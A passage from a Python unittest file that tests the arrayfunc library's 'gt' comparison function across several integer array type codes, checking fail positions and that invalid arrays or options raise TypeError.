result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_H(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('H', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('H', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('H', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('H', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code H.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code H.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code H.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code H.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_H(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('H', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('H', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code H.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code H.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code H.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code H.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code H.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code H.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code H.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_H(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('H', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('H', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code H.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code H.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code H.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code H.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_i(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('i', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('i', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('i', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('i', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code i.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code i.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code i.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code i.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_i(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('i', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('i', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code i.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code i.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code i.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code i.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code i.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code i.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code i.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_i(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('i', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('i', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code i.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code i.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code i.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_I(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('I', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('I', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('I', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('I', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code I.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code I.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code I.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code I.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_I(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('I', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('I', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code I.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code I.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code I.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code I.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code I.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code I.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code I.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_I(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('I', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('I', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code I.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code I.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code I.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_l(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('l', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('l', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('l', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('l', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code l.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code l.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code l.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code l.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
